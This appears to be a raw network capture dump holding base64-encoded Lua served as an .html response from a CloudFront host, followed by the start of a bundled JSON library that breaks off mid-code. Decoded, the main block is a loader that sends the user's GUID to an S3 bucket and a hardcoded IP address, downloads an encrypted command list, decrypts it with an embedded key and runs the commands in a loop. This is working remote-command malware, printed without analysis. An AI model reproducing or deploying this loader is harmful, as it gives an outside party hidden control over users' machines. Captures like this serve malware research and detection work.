bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
dq7lo1d0bbd2n.cloudfront.net (54.192.14.152:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
7 | /v2/tfn5306351516.html(6) | text/html | tfn5306351516.html(6) | 200 OK | TEXT | 46.2 KB | 05/02/34 07:02:25 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
